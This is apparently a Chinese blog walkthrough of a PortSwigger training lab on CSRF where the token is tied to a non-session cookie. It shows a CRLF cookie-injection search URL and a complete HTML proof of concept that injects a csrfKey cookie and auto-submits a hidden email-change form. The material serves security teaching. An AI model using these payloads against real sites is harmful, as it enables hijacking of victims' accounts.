Lab: CSRF where token is tied to non-session cookie:CSRF,其中令牌与非会话 cookie 相关联
CSRF 令牌绑定到非会话 cookie
在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 cookie,但与用于跟踪会话的 cookie 不同。当应用程序使用两种不同的框架时,这很容易发生,一种用于会话处理,一种用于 CSRF 保护,它们没有集成在一起:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
这种情况更难利用,但仍然容易受到攻击。如果该网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,那么攻击就有可能发生。攻击者可以使用自己的帐户登录应用程序,获取有效的令牌和关联的 cookie,利用 cookie 设置行为将其 cookie 放入受害者的浏览器,并在 CSRF 攻击中将其令牌提供给受害者。
内容
本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并没有完全集成到站点的会话处理系统中。
要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
方法
使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察更改sessioncookie会使您注销,但更改csrfKeycookie 只会导致CSRF 令牌被拒绝。这表明csrfKeycookie 可能没有严格绑定到会话。
打开私人/隐身浏览器窗口,登录到您的另一个帐户,然后向 Burp Repeater 发送新的更新电子邮件请求。
请注意,如果您将csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,则请求被接受。
关闭转发器选项卡和隐身浏览器。
返回原始浏览器,执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
创建一个使用此漏洞的 URL 将您的csrfKeycookie 注入受害者的浏览器:
/?search=test%0d%0aSet-Cookie:%20csrfKey=your-key
按照CSRF 漏洞的解决方案中所述,创建并托管一个概念验证漏洞,没有防御实验室,确保您包含您的CSRF 令牌。应该从电子邮件更改请求中创建漏洞利用。
删除该script块,而是添加以下代码以注入 cookie:
<img src="$cookie-injection-url" onerror="document.forms[0].submit()">
代码如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac0e1f611fe5f5508015117d00d600e5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="ExtArE@qq.com" />
<input type="hidden" name="csrf" value="KIf1G524oAno0ii8RMufcK2EyuisbCSw" />
</form>
<img src="https://ac0e1f611fe5f5508015117d00d600e5.web-security-academy.net/?search=test;Set-Cookie: csrfKey=KX3SZtol2d02yBrBDzyI36Q8iu1ivajS;" onerror="document.forms[0].submit()">
</body>
</html>
存储漏洞,然后单击“交付给受害者”以解决实验室问题。
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15188852.html